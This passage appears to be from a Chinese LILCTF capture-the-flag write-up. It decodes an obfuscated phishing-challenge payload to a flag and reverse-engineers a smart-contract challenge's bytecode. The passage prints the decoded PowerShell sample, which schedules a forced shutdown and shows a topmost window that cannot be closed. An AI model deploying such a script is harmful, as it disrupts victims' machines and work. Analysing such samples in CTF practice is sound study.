b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i" # 最后一部分 ) # 分割并解码 tokens = encoded_str.split('+') decoded_chars = [] for token in tokens: # 移除开头的"$g"并分割变量 parts = token.replace('$g', '').split('$')[1:] # 拼接数字字符串 num_str = ''.join(var_map[p] for p in parts if p in var_map) if num_str: # 转换为ASCII字符 char_code = int(num_str) decoded_chars.append(chr(char_code)) # 输出结果 flag = ''.join(decoded_chars) print(flag) 解析出下面内容,有flag LILCTF{6e_V1GlL4N7_49@1N$t_pHIshinG} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 $DebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue" [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") shutdown /s /t 600 >$Null 2>&1 $Form = New-Object System.Windows.Forms.Form $Form.Text = "Ciallo~(∠·ω< )⌒★" $Form.StartPosition = "Manual" $Form.Location = New-Object System.Drawing.Point(40, 40) $Form.Size = New-Object System.Drawing.Size(720, 480) $Form.MinimalSize = New-Object System.Drawing.Size(720, 480) $Form.MaximalSize = New-Object System.Drawing.Size(720, 480) $Form.FormBorderStyle = "FixedDialog" $Form.BackColor = "#0077CC" $Form.MaximizeBox = $False $Form.TopMost = $True $fF1IA49G = "LILCTF{6e_V1GlL4N7_49@1N$t_pHIshinG}" $fF1IA49G = "N0pe" $Label1 = New-Object System.Windows.Forms.Label $Label1.Text = ":)" $Label1.Location = New-Object System.Drawing.Point(64, 80) $Label1.AutoSize = $True $Label1.ForeColor = "White" $Label1.Font = New-Object System.Drawing.Font("Consolas", 64) $Label2 = New-Object System.Windows.Forms.Label $Label2.Text = "这里没有 flag;这个窗口是怎么出现的呢,flag 就在那里" $Label2.Location = New-Object System.Drawing.Point(64, 240) $Label2.AutoSize = $True $Label2.ForeColor = "White" $Label2.Font = New-Object System.Drawing.Font("微软雅黑", 16) $Label3 = New-Object System.Windows.Forms.Label $Label3.Text = "你的电脑将在 10 分钟后关机,请保存你的工作" $Label3.Location = New-Object System.Drawing.Point(64, 300) $Label3.AutoSize = $True $Label3.ForeColor = "White" $Label3.Font = New-Object System.Drawing.Font("微软雅黑", 16) $Form.Controls.AddRange(@($Label1, $Label2, $Label3)) $Form.Add_Shown({$Form.Activate()}) $Form.Add_FormClosing({ $_.Cancel = $True [System.Windows.Forms.MessageBox]::Show("不允许关闭!", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information) }) $Form.ShowDialog() | Out-Null BlockChain 生蚝的宝藏 先连接RPC、接水、部署合约一条龙,得到合约地址 0x801C106775A116af3420358922fF10FeaA77119b 因为没有给合约,所以只能从字节码反编译,装个 foundry 1 2 $ curl -L https://foundry.paradigm.xyz | bash $ foundryup 获取一下字节码 1 2 $ cast code --rpc-url http://106.15.138.99:8545/ 0x801C106775A116af3420358922fF10FeaA77119b 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c63430008090033 转换成操作码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 $ cast code --rpc-url http://106.15.138.99:8545/ 0x801C106775A116af3420358922fF10FeaA77119b | cast disassemble 00000001: PUSH1 0x80 00000003: PUSH1 0x40 00000005: MSTORE 00000006: CALLVALUE 00000007: DUP1 00000008: ISZERO 00000009: PUSH2 0x0010 0000000c: JUMPI 0000000d: PUSH1 0x00 0000000f: DUP1 00000010: REVERT 00000011: JUMPDEST 00000012: POP 00000013: PUSH1 0x04 00000015: CALLDATASIZE 00000016: LT 00000017: PUSH2 0x0036 0000001a: JUMPI 0000001b: PUSH1 0x00 0000001d: CALLDATALOAD 0000001e: PUSH1 0xe0 00000020: SHR 00000021: DUP1 00000022: PUSH4 0x5cc4d812 00000027: EQ 00000028: PUSH2 0x003b 0000002b: JUMPI 0000002c: DUP1 0000002d: PUSH4 0x64d98f6e 00000032: EQ 00000033: PUSH2 0x0050 00000036: JUMPI 00000037: JUMPDEST 00000038: PUSH1 0x00 0000003a: DUP1 0000003b: REVERT 0000003c: JUMPDEST 0000003d: PUSH2 0x004e 00000040: PUSH2 0x0049 00000043: CALLDATASIZE 00000044: PUSH1 0x04 00000046: PUSH2 0x023a 00000049: JUMP 0000004a: JUMPDEST 0000004b: PUSH2 0x006a 0000004e: JUMP 0000004f: JUMPDEST 00000050: STOP 00000051: JUMPDEST 00000052: PUSH1 0x01 00000054: SLOAD 00000055: PUSH1 0xff 00000057: AND 00000058: PUSH1 0x40 0000005a: MLOAD 0000005b: SWAP1 0000005c: ISZERO 0000005d: ISZERO 0000005e: DUP2 0000005f: MSTORE 00000060: PUSH1 0x20 00000062: ADD 00000063: PUSH1 0x40 00000065: MLOAD 00000066: DUP1 00000067: SWAP2 00000068: SUB 00000069: SWAP1 0000006a: RETURN 0000006b: JUMPDEST 0000006c: PUSH2 0x0073 0000006f: DUP2 00000070: PUSH2 0x0112 00000073: JUMP 00000074: JUMPDEST 00000075: PUSH1 0x40 00000077: MLOAD 00000078: PUSH1 0x20 0000007a: ADD 0000007b: PUSH2 0x0083 0000007e: SWAP2 0000007f: SWAP1 00000080: PUSH2 0x02eb 00000083: JUMP 00000084: JUMPDEST 00000085: PUSH1 0x40 00000087: MLOAD 00000088: PUSH1 0x20 0000008a: DUP2 0000008b: DUP4 0000008c: SUB 0000008d: SUB 0000008e: DUP2 0000008f: MSTORE 00000090: SWAP1 00000091: PUSH1 0x40 00000093: MSTORE 00000094: DUP1 00000095: MLOAD 00000096: SWAP1 00000097: PUSH1 0x20 00000099: ADD 0000009a: KECCAK256 0000009b: PUSH1 0x00 0000009d: PUSH1 0x40 0000009f: MLOAD 000000a0: PUSH1 0x20 000000a2: ADD 000000a3: PUSH2 0x00ab 000000a6: SWAP2 000000a7: SWAP1 000000a8: PUSH2 0x0326 000000ab: JUMP 000000ac: JUMPDEST 000000ad: PUSH1 0x40 000000af: MLOAD 000000b0: PUSH1 0x20 000000b2: DUP2 000000b3: DUP4 000000b4: SUB 000000b5: SUB 000000b6: DUP2 000000b7: MSTORE 000000b8: SWAP1 000000b9: PUSH1 0x40 000000bb: MSTORE 000000bc: DUP1 000000bd: MLOAD 000000be: SWAP1 000000bf: PUSH1 0x20 000000c1: ADD 000000c2: KECCAK256 000000c3: EQ 000000c4: PUSH2 0x0103 000000c7: JUMPI 000000c8: PUSH1 0x40 000000ca: MLOAD 000000cb: PUSH3 0x461bcd 000000cf: PUSH1 0xe5 000000d1: SHL 000000d2: DUP2 000000d3: MSTORE 000000d4: PUSH1 0x20 000000d6: PUSH1 0x04 000000d8: DUP3 000000d9: ADD 000000da: MSTORE 000000db: PUSH1 0x0e 000000dd: PUSH1 0x24 000000df: DUP3 000000e0: ADD 000000e1: MSTORE 000000e2: PUSH14 0x57726f6e67205472656173757265 000000f1: PUSH1 0x90 000000f3: SHL 000000f4: PUSH1 0x44 000000f6: DUP3 000000f7: ADD 000000f8: MSTORE 000000f9: PUSH1 0x64 000000fb: ADD 000000fc: PUSH1 0x40 000000fe: MLOAD 000000ff: DUP1 00000100: SWAP2 00000101: SUB 00000102: SWAP1 00000103: REVERT 00000104: JUMPDEST 00000105: POP 00000106: PUSH1 0x01 00000108: DUP1 00000109: SLOAD 0000010a: PUSH1 0xff 0000010c: NOT 0000010d: AND 0000010e: DUP2 0000010f: OR 00000110: SWAP1 00000111: SSTORE 00000112: JUMP 00000113: JUMPDEST 00000114: PUSH1 0x40 00000116: DUP1 00000117: MLOAD 00000118: DUP1 00000119: DUP3 0000011a: ADD 0000011b: SWAP1 0000011c: SWAP2 0000011d: MSTORE 0000011e: PUSH1 0x0c 00000120: DUP2 00000121: MSTORE 00000122: PUSH12 0x35b2bcaf9a9b9a1c19199ab3 0000012f: PUSH1 0xa1 00000131: SHL 00000132: PUSH1 0x20 00000134: DUP3 00000135: ADD 00000136: MSTORE 00000137: DUP2 00000138: MLOAD 00000139: PUSH1 0x60 0000013b: SWAP2 0000013c: DUP4 0000013d: SWAP2 0000013e: PUSH1 0x00 00000140: SWAP1 00000141: PUSH8 0xffffffffffffffff 0000014a: DUP2 0000014b: GT 0000014c: ISZERO 0000014d: PUSH2 0x0157 00000150: JUMPI 00000151: PUSH2 0x0157 00000154: PUSH2 0x0224 00000157: JUMP 00000158: JUMPDEST 00000159: PUSH1 0x40 0000015b: MLOAD 0000015c: SWAP1 0000015d: DUP1 0000015e: DUP3 0000015f: MSTORE 00000160: DUP1 00000161: PUSH1 0x1f 00000163: ADD 00000164: PUSH1 0x1f 00000166: NOT 00000167: AND 00000168: PUSH1 0x20 0000016a: ADD 0000016b: DUP3 0000016c: ADD 0000016d: PUSH1 0x40 0000016f: MSTORE 00000170: DUP1 00000171: ISZERO 00000172: PUSH2 0x0181 00000175: JUMPI 00000176: PUSH1 0x20 00000178: DUP3 00000179: ADD 0000017a: DUP2 0000017b: DUP1 0000017c: CALLDATASIZE 0000017d: DUP4 0000017e: CALLDATACOPY 0000017f: ADD 00000180: SWAP1 00000181: POP 00000182: JUMPDEST 00000183: POP 00000184: SWAP1 00000185: POP 00000186: PUSH1 0x00 00000188: JUMPDEST 00000189: DUP4 0000018a: MLOAD 0000018b: DUP2 0000018c: LT 0000018d: ISZERO 0000018e: PUSH2 0x021b 00000191: JUMPI 00000192: DUP3 00000193: DUP4 00000194: MLOAD 00000195: DUP3 00000196: PUSH2 0x019e 00000199: SWAP2 0000019a: SWAP1 0000019b: PUSH2 0x03c2 0000019e: JUMP 0000019f: JUMPDEST 000001a0: DUP2 000001a1: MLOAD 000001a2: DUP2 000001a3: LT 000001a4: PUSH2 0x01ae 000001a7: JUMPI 000001a8: PUSH2 0x01ae 000001ab: PUSH2 0x03e4 000001ae: JUMP 000001af: JUMPDEST 000001b0: PUSH1 0x20 000001b2: ADD 000001b3: ADD 000001b4: MLOAD 000001b5: PUSH1 0xf8 000001b7: SHR 000001b8: PUSH1 0xf8 000001ba: SHL 000001bb: PUSH1 0xf8 000001bd: SHR 000001be: DUP5 000001bf: DUP3 000001c0: DUP2 000001c1: MLOAD 000001c2: DUP2 000001c3: LT 000001c4: PUSH2 0x01ce 000001c7: JUMPI 000001c8: PUSH2 0x01ce 000001cb: PUSH2 0x03e4 000001ce: JUMP 000001cf: JUMPDEST 000001d0: PUSH1 0x20 000001d2: ADD 000001d3: ADD 000001d4: MLOAD 000001d5: PUSH1 0xf8 000001d7: SHR 000001d8: PUSH1 0xf8 000001da: SHL 000001db: PUSH1 0xf8 000001dd: SHR 000001de: XOR 000001df: PUSH1 0xf8 000001e1: SHL 000001e2: DUP3 000001e3: DUP3 000001e4: DUP2 000001e5: MLOAD 000001e6: DUP2 000001e7: LT 000001e8: PUSH2 0x01f2 000001eb: JUMPI 000001ec: PUSH2 0x01f2 000001ef: PUSH2 0x03e4 000001f2: JUMP 000001f3: JUMPDEST 000001f4: PUSH1 0x20 000001f6: ADD 000001f7: ADD 000001f8: SWAP1 000001f9: PUSH1 0x01 000001fb: PUSH1 0x01 000001fd: PUSH1 0xf8 000001ff: SHL 00000200: SUB 00000201: NOT 00000202: AND 00000203: SWAP1 00000204: DUP2 00000205: PUSH1 0x00 00000207: BYTE 00000208: SWAP1 00000209: MSTORE8 0000020a: POP 0000020b: DUP1 0000020c: PUSH2 0x0213 0000020f: DUP2 00000210: PUSH2 0x03fa 00000213: JUMP 00000214: JUMPDEST 00000215: SWAP2 00000216: POP 00000217: POP 00000218: PUSH2 0x0187 0000021b: JUMP 0000021c: JUMPDEST 0000021d: POP 0000021e: SWAP5 0000021f: SWAP4 00000220: POP 00000221: POP 00000222: POP 00000223: POP 00000224: JUMP 00000225: JUMPDEST 00000226: PUSH4 0x4e487b71 0000022b: PUSH1 0xe0 0000022d: SHL 0000022e: PUSH1 0x00 00000230: MSTORE 00000231: PUSH1 0x41 00000233: PUSH1 0x04 00000235: MSTORE 00000236: PUSH1 0x24 00000238: PUSH1 0x00 0000023a: REVERT 0000023b: JUMPDEST 0000023c: PUSH1 0x00 0000023e: PUSH1 0x20 00000240: DUP3 00000241: DUP5 00000242: SUB 00000243: SLT 00000244: ISZERO 00000245: PUSH2 0x024c 00000248: JUMPI 00000249: PUSH1 0x00 0000024b: DUP1 0000024c: REVERT 0000024d: JUMPDEST 0000024e: DUP2 0000024f: CALLDATALOAD 00000250: PUSH8 0xffffffffffffffff 00000259: DUP1 0000025a: DUP3 0000025b: GT 0000025c: ISZERO 0000025d: PUSH2 0x0264 00000260: JUMPI 00000261: PUSH1 0x00 00000263: DUP1 00000264: REVERT 00000265: JUMPDEST 00000266: DUP2 00000267: DUP5 00000268: ADD 00000269: SWAP2 0000026a: POP 0000026b: DUP5 0000026c: PUSH1 0x1f 0000026e: DUP4 0000026f: ADD 00000270: SLT 00000271: PUSH2 0x0278 00000274: JUMPI 00000275: PUSH1 0x00 00000277: DUP1 00000278: REVERT 00000279: JUMPDEST 0000027a: DUP2 0000027b: CALLDATALOAD 0000027c: DUP2 0000027d: DUP2 0000027e: GT 0000027f: ISZERO 00000280: PUSH2 0x028a 00000283: JUMPI 00000284: PUSH2 0x028a 00000287: PUSH2 0x0224 0000028a: JUMP 0000028b: JUMPDEST 0000028c: PUSH1 0x40 0000028e: MLOAD 0000028f: PUSH1 0x1f 00000291: DUP3 00000292: ADD 00000293: PUSH1 0x1f 00000295: NOT 00000296: SWAP1 00000297: DUP2 00000298: AND 00000299: PUSH1 0x3f 0000029b: ADD 0000029c: AND 0000029d: DUP2 0000029e: ADD 0000029f: SWAP1 000002a0: DUP4 000002a1: DUP3 000002a2: GT 000002a3: DUP2 000002a4: DUP4 000002a5: LT 000002a6: OR 000002a7: ISZERO 000002a8: PUSH2 0x02b2 000002ab: JUMPI 000002ac: PUSH2 0x02b2 000002af: PUSH2 0x0224 000002b2: JUMP 000002b3: JUMPDEST 000002b4: DUP2 000002b5: PUSH1 0x40 000002b7: MSTORE 000002b8: DUP3 000002b9: DUP2 000002ba: MSTORE 000002bb: DUP8 000002bc: PUSH1 0x20 000002be: DUP5 000002bf: DUP8 000002c0: ADD 000002c1: ADD 000002c2: GT 000002c3: ISZERO 000002c4: PUSH2 0x02cb 000002c7: JUMPI 000002c8: PUSH1 0x00 000002ca: DUP1 000002cb: REVERT 000002cc: JUMPDEST 000002cd: DUP3 000002ce: PUSH1 0x20 000002d0: DUP7 000002d1: ADD 000002d2: PUSH1 0x20 000002d4: DUP4 000002d5: ADD 000002d6: CALLDATACOPY 000002d7: PUSH1 0x00 000002d9: SWAP3 000002da: DUP2 000002db: ADD 000002dc: PUSH1 0x20 000002de: ADD 000002df: SWAP3 000002e0: SWAP1 000002e1: SWAP3 000002e2: MSTORE 000002e3: POP 000002e4: SWAP6 000002e5: SWAP5 000002e6: POP 000002e7: POP 000002e8: POP 000002e9: POP 000002ea: POP 000002eb: JUMP 000002ec: JUMPDEST 000002ed: PUSH1 0x00 000002ef: DUP3 000002f0: MLOAD 000002f1: PUSH1 0x00 000002f3: JUMPDEST 000002f4: DUP2 000002f5: DUP2 000002f6: LT 000002f7: ISZERO 000002f8: PUSH2 0x030c 000002fb: JUMPI 000002fc: PUSH1 0x20 000002fe: DUP2 000002ff: DUP7 00000300: ADD 00000301: DUP2 00000302: ADD 00000303: MLOAD 00000304: DUP6 00000305: DUP4 00000306: ADD 00000307: MSTORE 00000308: ADD 00000309: PUSH2 0x02f2 0000030c: JUMP 0000030d: JUMPDEST 0000030e: DUP2 0000030f: DUP2 00000310: GT 00000311: ISZERO 00000312: PUSH2 0x031b 00000315: JUMPI 00000316: PUSH1 0x00 00000318: DUP3 00000319: DUP6 0000031a: ADD 0000031b: MSTORE 0000031c: JUMPDEST 0000031d: POP 0000031e: SWAP2 0000031f: SWAP1 00000320: SWAP2 00000321: ADD 00000322: SWAP3 00000323: SWAP2 00000324: POP 00000325: POP 00000326: JUMP 00000327: JUMPDEST 00000328: PUSH1 0x00 0000032a: DUP1 0000032b: DUP4 0000032c: SLOAD 0000032d: DUP2 0000032e: PUSH1 0x01 00000330: DUP3 00000331: DUP2 00000332: SHR 00000333: SWAP2 00000334: POP 00000335: DUP1 00000336: DUP4 00000337: AND 00000338: DUP1 00000339: PUSH2 0x0342 0000033c: JUMPI 0000033d: PUSH1 0x7f 0000033f: DUP4 00000340: AND 00000341: SWAP3 00000342: POP 00000343: JUMPDEST 00000344: PUSH1 0x20 00000346: DUP1 00000347: DUP5 00000348: LT 00000349: DUP3 0000034a: EQ 0000034b: ISZERO 0000034c: PUSH2 0x0362 0000034f: JUMPI 00000350: PUSH4 0x4e487b71 00000355: PUSH1 0xe0 00000357: SHL 00000358: DUP7 00000359: MSTORE 0000035a: PUSH1 0x22 0000035c: PUSH1 0x04 0000035e: MSTORE 0000035f: PUSH1 0x24 00000361: DUP7 00000362: REVERT 00000363: JUMPDEST 00000364: DUP2 00000365: DUP1 00000366: ISZERO 00000367: PUSH2 0x0376 0000036a: JUMPI 0000036b: PUSH1 0x01 0000036d: DUP2 0000036e: EQ 0000036f: PUSH2 0x0387 00000372: JUMPI 00000373: PUSH2 0x03b4 00000376: JUMP 00000377: JUMPDEST 00000378: PUSH1 0xff 0000037a: NOT 0000037b: DUP7 0000037c: AND 0000037d: DUP10 0000037e: MSTORE 0000037f: DUP5 00000380: DUP10 00000381: ADD 00000382: SWAP7 00000383: POP 00000384: PUSH2 0x03b4 00000387: JUMP 00000388: JUMPDEST 00000389: PUSH1 0x00 0000038b: DUP11 0000038c: DUP2 0000038d: MSTORE 0000038e: PUSH1 0x20 00000390: SWAP1 00000391: KECCAK256 00000392: PUSH1 0x00 00000394: JUMPDEST 00000395: DUP7 00000396: DUP2 00000397: LT 00000398: ISZERO 00000399: PUSH2 0x03ac 0000039c: JUMPI 0000039d: DUP2 0000039e: SLOAD 0000039f: DUP12 000003a0: DUP3 000003a1: ADD 000003a2: MSTORE 000003a3: SWAP1 000003a4: DUP6 000003a5: ADD 000003a6: SWAP1 000003a7: DUP4 000003a8: ADD 000003a9: PUSH2 0x0393 000003ac: JUMP 000003ad: JUMPDEST 000003ae: POP 000003af: POP 000003b0: DUP5 000003b1: DUP10 000003b2: ADD 000003b3: SWAP7 000003b4: POP 000003b5: JUMPDEST 000003b6: POP 000003b7: SWAP5 000003b8: SWAP9 000003b9: SWAP8 000003ba: POP 000003bb: POP 000003bc: POP 000003bd: POP 000003be: POP 000003bf: POP 000003c0: POP 000003c1: POP 000003c2: JUMP 000003c3: JUMPDEST 000003c4: PUSH1 0x00 000003c6: DUP3 000003c7: PUSH2 0x03df 000003ca: JUMPI 000003cb: PUSH4 0x4e487b71 000003d0: PUSH1 0xe0 000003d2: SHL 000003d3: PUSH1 0x00 000003d5: MSTORE 000003d6: PUSH1 0x12 000003d8: PUSH1 0x04 000003da: MSTORE 000003db: PUSH1 0x24 000003dd: PUSH1 0x00 000003df: REVERT 000003e0: JUMPDEST 000003e1: POP 000003e2: MOD 000003e3: SWAP1 000003e4: JUMP 000003e5: JUMPDEST 000003e6: PUSH4 0x4e487b71 000003eb: PUSH1 0xe0 000003ed: SHL 000003ee: PUSH1 0x00 000003f0: MSTORE 000003f1: PUSH1 0x32 000003f3: PUSH1 0x04 000003f5: MSTORE 000003f6: PUSH1 0x24 000003f8: PUSH1 0x00 000003fa: REVERT 000003fb: JUMPDEST 000003fc: PUSH1 0x00 000003fe: PUSH1 0x00 00000400: NOT 00000401: DUP3 00000402: EQ 00000403: ISZERO 00000404: PUSH2 0x041c 00000407: JUMPI 00000408: PUSH4 0x4e487b71 0000040d: PUSH1 0xe0 0000040f: SHL 00000410: PUSH1 0x00 00000412: MSTORE 00000413: PUSH1 0x11 00000415: PUSH1 0x04 00000417: MSTORE 00000418: PUSH1 0x24 0000041a: PUSH1 0x00 0000041c: REVERT 0000041d: JUMPDEST 0000041e: POP 0000041f: PUSH1 0x01 00000421: ADD 00000422: SWAP1 00000423: JUMP 00000424: INVALID 00000425: LOG2 00000426: PUSH5 0x6970667358 0000042c: INVALID 0000042d: SLT 0000042e: KECCAK256 0000042f: INVALID 00000430: INVALID 00000431: PUSH22 0xe6de4319072b595bdd2382e9d4da7081fe0f1e58eb39 00000448: INVALID 00000449: DATACOPY 0000044a: INVALID 0000044b: ADD 0000044c: OR 0000044d: PUSH10 0x3e64736f6c6343000809 00000458: STOP 00000459: CALLER 看的不是很明白,Online Solidity Decompiler 反编译一下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 contract Contract { function main() { memory[0x40:0x60] = 0x80; var var0 = msg.value; if (var0) { revert(memory[0x00:0x00]); } if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); } var0 = msg.data[0x00:0x20] >> 0xe0; if (var0 == 0x5cc4d812) { // Dispatch table entry for 0x5cc4d812 (unknown) var var1 = 0x004e; var var2 = 0x0049; var var3 = msg.data.length; var var4 = 0x04; var2 = func_023A(var3, var4); 